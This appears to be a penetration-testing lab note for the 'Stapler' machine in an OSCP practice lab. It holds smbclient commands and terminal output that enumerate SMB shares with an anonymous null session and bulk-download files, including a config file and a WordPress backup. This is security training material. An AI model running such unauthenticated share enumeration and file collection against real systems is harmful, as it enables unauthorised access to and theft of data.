139

smbclient -L "\\\\192.168.172.148\\" -U '' -N

adot@pwnbox:~/oscp/provinggrounds/medium/stapler$ smbclient '\\192.168.172.148\kathy' -U '' -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun  3 11:52:52 2016
  ..                                  D        0  Mon Jun  6 16:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 10:02:27 2016
  backup                              D        0  Sun Jun  5 10:04:14 2016

		19478204 blocks of size 1024. 16345400 blocks available
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \kathy_stuff\todo-list.txt of size 64 as kathy_stuff/todo-list.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
getting file \backup\vsftpd.conf of size 5961 as backup/vsftpd.conf (29.3 KiloBytes/sec) (average 15.6 KiloBytes/sec)
getting file \backup\wordpress-4.tar.gz of size 6321767 as backup/wordpress-4.tar.gz (426.9 KiloBytes/sec) (average 416.5 KiloBytes/sec)
smb: \> exit

adot@pwnbox:~/oscp/provinggrounds/medium/stapler$ smbclient '\\192.168.172.148\tmp' -U '' -N
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \ls of size 274 as ls (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec)
smb: \> exit

tar -xzf wordpress-4.tar.gz